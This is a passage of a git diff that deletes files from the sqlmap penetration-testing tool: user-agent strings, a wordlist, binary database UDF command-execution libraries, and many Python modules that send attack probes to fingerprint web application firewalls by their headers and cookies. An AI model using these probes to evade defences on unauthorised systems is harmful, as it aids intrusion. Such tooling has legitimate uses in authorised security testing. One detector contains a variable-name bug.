(Windows NT 5.2; U; en) Presto/2.1.1 -Opera/9.61 (Windows NT 6.0; U; en) Presto/2.1.1 -Opera/9.61 (Windows NT 6.0; U; http://lucideer.com; en-GB) Presto/2.1.1 -Opera/9.61 (Windows NT 6.0; U; pt-BR) Presto/2.1.1 -Opera/9.61 (Windows NT 6.0; U; ru) Presto/2.1.1 -Opera/9.61 (X11; Linux i686; U; de) Presto/2.1.1 -Opera/9.61 (X11; Linux i686; U; en) Presto/2.1.1 -Opera/9.61 (X11; Linux i686; U; pl) Presto/2.1.1 -Opera/9.61 (X11; Linux i686; U; ru) Presto/2.1.1 -Opera/9.61 (X11; Linux x86_64; U; fr) Presto/2.1.1 -Opera/9.62 (Windows NT 5.1; U; pl) Presto/2.1.1 -Opera/9.62 (Windows NT 5.1; U; pt-BR) Presto/2.1.1 -Opera/9.62 (Windows NT 5.1; U; ru) Presto/2.1.1 -Opera/9.62 (Windows NT 5.1; U; tr) Presto/2.1.1 -Opera/9.62 (Windows NT 5.1; U; zh-cn) Presto/2.1.1 -Opera/9.62 (Windows NT 5.1; U; zh-tw) Presto/2.1.1 -Opera/9.62 (Windows NT 5.2; U; en) Presto/2.1.1 -Opera/9.62 (Windows NT 6.0; U; de) Presto/2.1.1 -Opera/9.62 (Windows NT 6.0; U; en) Presto/2.1.1 -Opera/9.62 (Windows NT 6.0; U; en-GB) Presto/2.1.1 -Opera/9.62 (Windows NT 6.0; U; nb) Presto/2.1.1 -Opera/9.62 (Windows NT 6.0; U; pl) Presto/2.1.1 -Opera/9.62 (Windows NT 6.1; U; de) Presto/2.1.1 -Opera/9.62 (Windows NT 6.1; U; en) Presto/2.1.1 -Opera/9.62 (X11; Linux i686; U; Linux Mint; en) Presto/2.1.1 -Opera/9.62 (X11; Linux i686; U; en) Presto/2.1.1 -Opera/9.62 (X11; Linux i686; U; fi) Presto/2.1.1 -Opera/9.62 (X11; Linux i686; U; it) Presto/2.1.1 -Opera/9.62 (X11; Linux i686; U; pt-BR) Presto/2.1.1 -Opera/9.62 (X11; Linux x86_64; U; ru) Presto/2.1.1 -Opera/9.63 (Windows NT 5.1; U; pt-BR) Presto/2.1.1 -Opera/9.63 (Windows NT 5.2; U; de) Presto/2.1.1 -Opera/9.63 (Windows NT 5.2; U; en) Presto/2.1.1 -Opera/9.63 (Windows NT 6.0; U; cs) Presto/2.1.1 -Opera/9.63 (Windows NT 6.0; U; en) Presto/2.1.1 -Opera/9.63 (Windows NT 6.0; U; fr) Presto/2.1.1 -Opera/9.63 (Windows NT 6.0; U; nb) Presto/2.1.1 -Opera/9.63 (Windows NT 6.0; U; pl) Presto/2.1.1 -Opera/9.63 (Windows NT 6.1; U; de) Presto/2.1.1 -Opera/9.63 (Windows NT 6.1; U; en) Presto/2.1.1 -Opera/9.63 (Windows NT 6.1; U; hu) Presto/2.1.1 -Opera/9.63 (X11; FreeBSD 7.1-RELEASE i386; U; en) Presto/2.1.1 -Opera/9.63 (X11; Linux i686) -Opera/9.63 (X11; Linux i686; U; de) Presto/2.1.1 -Opera/9.63 (X11; Linux i686; U; en) -Opera/9.63 (X11; Linux i686; U; nb) Presto/2.1.1 -Opera/9.63 (X11; Linux i686; U; ru) -Opera/9.63 (X11; Linux i686; U; ru) Presto/2.1.1 -Opera/9.63 (X11; Linux x86_64; U; cs) Presto/2.1.1 -Opera/9.63 (X11; Linux x86_64; U; ru) Presto/2.1.1 -Opera/9.64 (Windows NT 6.0; U; pl) Presto/2.1.1 -Opera/9.64 (Windows NT 6.0; U; zh-cn) Presto/2.1.1 -Opera/9.64 (Windows NT 6.1; U; MRA 5.5 (build 02842); ru) Presto/2.1.1 -Opera/9.64 (Windows NT 6.1; U; de) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; Linux Mint; it) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; Linux Mint; nb) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; da) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; de) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; en) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; nb) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; pl) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; sv) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; tr) Presto/2.1.1 -Opera/9.64 (X11; Linux x86_64; U; cs) Presto/2.1.1 -Opera/9.64 (X11; Linux x86_64; U; de) Presto/2.1.1 -Opera/9.64 (X11; Linux x86_64; U; en) Presto/2.1.1 -Opera/9.64 (X11; Linux x86_64; U; en-GB) Presto/2.1.1 -Opera/9.64 (X11; Linux x86_64; U; hr) Presto/2.1.1 -Opera/9.64 (X11; Linux x86_64; U; pl) Presto/2.1.1 -Opera/9.64(Windows NT 5.1; U; en) Presto/2.1.1 -Opera/9.70 (Linux i686 ; U; ; en) Presto/2.2.1 -Opera/9.70 (Linux i686 ; U; ; en) Presto/2.2.1 -Opera/9.70 (Linux i686 ; U; en) Presto/2.2.0 -Opera/9.70 (Linux i686 ; U; en) Presto/2.2.1 -Opera/9.70 (Linux i686 ; U; en-us) Presto/2.2.0 -Opera/9.70 (Linux i686 ; U; zh-cn) Presto/2.2.0 -Opera/9.70 (Linux ppc64 ; U; en) Presto/2.2.1 -Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15 -Opera/9.80 (Linux i686; U; en) Presto/2.5.22 Version/10.51 -Opera/9.80 (Macintosh; Intel Mac OS X; U; nl) Presto/2.6.30 Version/10.61 -Opera/9.80 (Windows 98; U; de) Presto/2.6.30 Version/10.61 -Opera/9.80 (Windows NT 5.1; U; cs) Presto/2.2.15 Version/10.10 -Opera/9.80 (Windows NT 5.1; U; de) Presto/2.2.15 Version/10.10 -Opera/9.80 (Windows NT 5.1; U; it) Presto/2.7.62 Version/11.00 -Opera/9.80 (Windows NT 5.1; U; pl) Presto/2.6.30 Version/10.62 -Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.5.22 Version/10.50 -Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.39 Version/11.00 -Opera/9.80 (Windows NT 5.1; U; zh-cn) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 5.2; U; en) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 5.2; U; en) Presto/2.6.30 Version/10.63 -Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51 -Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.6.30 Version/10.61 -Opera/9.80 (Windows NT 5.2; U; zh-cn) Presto/2.6.30 Version/10.63 -Opera/9.80 (Windows NT 6.0; U; Gecko/20100115; pl) Presto/2.2.15 Version/10.10 -Opera/9.80 (Windows NT 6.0; U; cs) Presto/2.5.22 Version/10.51 -Opera/9.80 (Windows NT 6.0; U; de) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.0; U; en) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.0; U; en) Presto/2.2.15 Version/10.10 -Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.39 Version/11.00 -Opera/9.80 (Windows NT 6.0; U; it) Presto/2.6.30 Version/10.61 -Opera/9.80 (Windows NT 6.0; U; nl) Presto/2.6.30 Version/10.60 -Opera/9.80 (Windows NT 6.0; U; zh-cn) Presto/2.5.22 Version/10.50 -Opera/9.80 (Windows NT 6.1; U; cs) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.1; U; de) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.1; U; de) Presto/2.2.15 Version/10.10 -Opera/9.80 (Windows NT 6.1; U; en) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.1; U; en) Presto/2.5.22 Version/10.51 -Opera/9.80 (Windows NT 6.1; U; en) Presto/2.6.30 Version/10.61 -Opera/9.80 (Windows NT 6.1; U; en-GB) Presto/2.7.62 Version/11.00 -Opera/9.80 (Windows NT 6.1; U; fi) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.1; U; fr) Presto/2.5.24 Version/10.52 -Opera/9.80 (Windows NT 6.1; U; ja) Presto/2.5.22 Version/10.50 -Opera/9.80 (Windows NT 6.1; U; pl) Presto/2.6.31 Version/10.70 -Opera/9.80 (Windows NT 6.1; U; pl) Presto/2.7.62 Version/11.00 -Opera/9.80 (Windows NT 6.1; U; sk) Presto/2.6.22 Version/10.50 -Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.5.22 Version/10.50 -Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.6.30 Version/10.61 -Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.6.37 Version/11.00 -Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.5.22 Version/10.50 -Opera/9.80 (X11; Linux i686; U; Debian; pl) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; de) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; en) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; en) Presto/2.5.27 Version/10.60 -Opera/9.80 (X11; Linux i686; U; en-GB) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; en-GB) Presto/2.5.24 Version/10.53 -Opera/9.80 (X11; Linux i686; U; es-ES) Presto/2.6.30 Version/10.61 -Opera/9.80 (X11; Linux i686; U; it) Presto/2.5.24 Version/10.54 -Opera/9.80 (X11; Linux i686; U; nb) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; pl) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; pl) Presto/2.6.30 Version/10.61 -Opera/9.80 (X11; Linux i686; U; pt-BR) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; ru) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux x86_64; U; de) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux x86_64; U; en-GB) Presto/2.2.15 Version/10.01 -Opera/9.80 (X11; Linux x86_64; U; it) Presto/2.2.15 Version/10.10 -Opera/9.80 (X11; Linux x86_64; U; pl) Presto/2.7.62 Version/11.00 -Opera/9.80 (X11; U; Linux i686; en-US; rv:1.9.2.3) Presto/2.2.15 Version/10.10 -Opera/9.99 (Windows NT 5.1; U; pl) Presto/9.9.9 diff --git a/txt/wordlist.zip b/txt/wordlist.zip deleted file mode 100644 index 9b018630f4f..00000000000 Binary files a/txt/wordlist.zip and /dev/null differ diff --git a/udf/mysql/linux/32/lib_mysqludf_sys.so_ b/udf/mysql/linux/32/lib_mysqludf_sys.so_ deleted file mode 100644 index 7e0eeb95ebc..00000000000 Binary files a/udf/mysql/linux/32/lib_mysqludf_sys.so_ and /dev/null differ diff --git a/udf/mysql/linux/64/lib_mysqludf_sys.so_ b/udf/mysql/linux/64/lib_mysqludf_sys.so_ deleted file mode 100644 index c7a4d7a10bb..00000000000 Binary files a/udf/mysql/linux/64/lib_mysqludf_sys.so_ and /dev/null differ diff --git a/udf/mysql/windows/32/lib_mysqludf_sys.dll_ b/udf/mysql/windows/32/lib_mysqludf_sys.dll_ deleted file mode 100644 index ae438d63619..00000000000 Binary files a/udf/mysql/windows/32/lib_mysqludf_sys.dll_ and /dev/null differ diff --git a/udf/mysql/windows/64/lib_mysqludf_sys.dll_ b/udf/mysql/windows/64/lib_mysqludf_sys.dll_ deleted file mode 100644 index c06f77f2294..00000000000 Binary files a/udf/mysql/windows/64/lib_mysqludf_sys.dll_ and /dev/null differ diff --git a/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ deleted file mode 100644 index a194bcb45a1..00000000000 Binary files a/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ and /dev/null differ diff --git a/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ deleted file mode 100644 index 13a55a36762..00000000000 Binary files a/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ and /dev/null differ diff --git a/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ deleted file mode 100644 index c87247f8e44..00000000000 Binary files a/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ and /dev/null differ diff --git a/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ deleted file mode 100644 index f24c3482406..00000000000 Binary files a/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ and /dev/null differ diff --git a/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ deleted file mode 100644 index 520350650fc..00000000000 Binary files a/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ and /dev/null differ diff --git a/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ deleted file mode 100644 index 72bc101dbd9..00000000000 Binary files a/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ and /dev/null differ diff --git a/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ deleted file mode 100644 index 3a0973d8482..00000000000 Binary files a/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ and /dev/null differ diff --git a/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ deleted file mode 100644 index 3b8c49630e2..00000000000 Binary files a/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ and /dev/null differ diff --git a/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ deleted file mode 100644 index 996fdf0dc4c..00000000000 Binary files a/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ and /dev/null differ diff --git a/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ deleted file mode 100644 index 905e48886a5..00000000000 Binary files a/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ and /dev/null differ diff --git a/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ deleted file mode 100644 index bd5c1ceee19..00000000000 Binary files a/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ and /dev/null differ diff --git a/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ deleted file mode 100644 index 43c4427f9f6..00000000000 Binary files a/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ and /dev/null differ diff --git a/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ deleted file mode 100644 index eee10ec8c7b..00000000000 Binary files a/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ and /dev/null differ diff --git a/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ deleted file mode 100644 index 0fcb1913d0c..00000000000 Binary files a/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ and /dev/null differ diff --git a/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ deleted file mode 100644 index dd554a41907..00000000000 Binary files a/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ and /dev/null differ diff --git a/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ deleted file mode 100644 index ab5b6a8e6f7..00000000000 Binary files a/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ and /dev/null differ diff --git a/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ b/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ deleted file mode 100644 index 2d3ce9f9eaa..00000000000 Binary files a/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ and /dev/null differ diff --git a/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ b/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ deleted file mode 100644 index c4fd18d28aa..00000000000 Binary files a/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ and /dev/null differ diff --git a/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ b/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ deleted file mode 100644 index 2beba1d4c91..00000000000 Binary files a/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ and /dev/null differ diff --git a/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ b/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ deleted file mode 100644 index 612535c700a..00000000000 Binary files a/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ and /dev/null differ diff --git a/waf/360.py b/waf/360.py deleted file mode 100644 index 86c251c20c6..00000000000 --- a/waf/360.py +++ /dev/null @@ -1,23 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "360 Web Application Firewall (360)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = re.search(r"wangzhan\.360\.cn", headers.get("X-Powered-By-360wzb", ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/__init__.py b/waf/__init__.py deleted file mode 100644 index 8d7bcd8f0a1..00000000000 --- a/waf/__init__.py +++ /dev/null @@ -1,8 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -pass diff --git a/waf/airlock.py b/waf/airlock.py deleted file mode 100644 index 6a5b433b748..00000000000 --- a/waf/airlock.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Airlock (Phion/Ergon)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = re.search(r"\AAL[_-]?(SESS|LB)=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/anquanbao.py b/waf/anquanbao.py deleted file mode 100644 index 6842c8a3598..00000000000 --- a/waf/anquanbao.py +++ /dev/null @@ -1,23 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Anquanbao Web Application Firewall (Anquanbao)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = re.search(r"MISS", headers.get("X-Powered-By-Anquanbao", ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/baidu.py b/waf/baidu.py deleted file mode 100644 index 7a15feadb28..00000000000 --- a/waf/baidu.py +++ /dev/null @@ -1,23 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Yunjiasu Web Application Firewall (Baidu)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = re.search(r"fhl", headers.get("X-Server", ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/barracuda.py b/waf/barracuda.py deleted file mode 100644 index 41866a8ad17..00000000000 --- a/waf/barracuda.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Barracuda Web Application Firewall (Barracuda Networks)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = re.search(r"\Abarra_counter_session=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - retval |= re.search(r"(\A|\b)barracuda_", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/bigip.py b/waf/bigip.py deleted file mode 100644 index 4023d039504..00000000000 --- a/waf/bigip.py +++ /dev/null @@ -1,26 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "BIG-IP Application Security Manager (F5 Networks)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = headers.get("X-Cnection", "").lower() == "close" - retval |= re.search(r"\ATS[a-zA-Z0-9]{3,6}=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - retval |= re.search(r"BigIP|BIGipServer", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/binarysec.py b/waf/binarysec.py deleted file mode 100644 index 268a8a2e245..00000000000 --- a/waf/binarysec.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "BinarySEC Web Application Firewall (BinarySEC)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = any(headers.get(_) for _ in ("x-binarysec-via", "x-binarysec-nocache")) - retval |= re.search(r"BinarySec", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/blockdos.py b/waf/blockdos.py deleted file mode 100644 index adcc902e3b8..00000000000 --- a/waf/blockdos.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "BlockDoS" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = re.search(r"BlockDos\.net", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/ciscoacexml.py b/waf/ciscoacexml.py deleted file mode 100644 index 89834a64ef6..00000000000 --- a/waf/ciscoacexml.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Cisco ACE XML Gateway (Cisco Systems)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = re.search(r"ACE XML Gateway", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/cloudflare.py b/waf/cloudflare.py deleted file mode 100644 index cdae41bb4d3..00000000000 --- a/waf/cloudflare.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "CloudFlare Web Application Firewall (CloudFlare)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = re.search(r"cloudflare-nginx", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= re.search(r"\A__cfduid=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/datapower.py b/waf/datapower.py deleted file mode 100644 index 1dd60df2599..00000000000 --- a/waf/datapower.py +++ /dev/null @@ -1,23 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "IBM WebSphere DataPower (IBM)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = re.search(r"\A(OK|FAIL)", headers.get("X-Backside-Transport", ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/denyall.py b/waf/denyall.py deleted file mode 100644 index 46189389b55..00000000000 --- a/waf/denyall.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Deny All Web Application Firewall (DenyAll)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = re.search(r"\Asessioncookie=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - retval |= code == 200 and re.search(r"\ACondition Intercepted", page, re.I) is not None - if retval: - break - - return retval diff --git a/waf/dotdefender.py b/waf/dotdefender.py deleted file mode 100644 index 4cf42822c41..00000000000 --- a/waf/dotdefender.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "dotDefender (Applicure Technologies)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retVal = headers.get("X-dotDefender-denied", "") == "1" - if retVal: - break - - return retval diff --git a/waf/edgecast.py b/waf/edgecast.py deleted file mode 100644 index ec2227055ac..00000000000 --- a/waf/edgecast.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "EdgeCast WAF (Verizon)" - -def detect(get_page): - retVal = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retVal = code == 400 and re.search(r"\AECDF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - if retVal: - break - - return retVal diff --git a/waf/expressionengine.py b/waf/expressionengine.py deleted file mode 100644 index 3db06cb21f2..00000000000 --- a/waf/expressionengine.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "ExpressionEngine (EllisLab)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = "Invalid GET Data" in page - if retval: - break - - return retval diff --git a/waf/fortiweb.py b/waf/fortiweb.py deleted file mode 100644 index a5200ab9e10..00000000000 --- a/waf/fortiweb.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "FortiWeb Web Application Firewall (Fortinet Inc.)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = re.search(r"\AFORTIWAFSID=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/hyperguard.py b/waf/hyperguard.py deleted file mode 100644 index 677789f24b7..00000000000 --- a/waf/hyperguard.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap 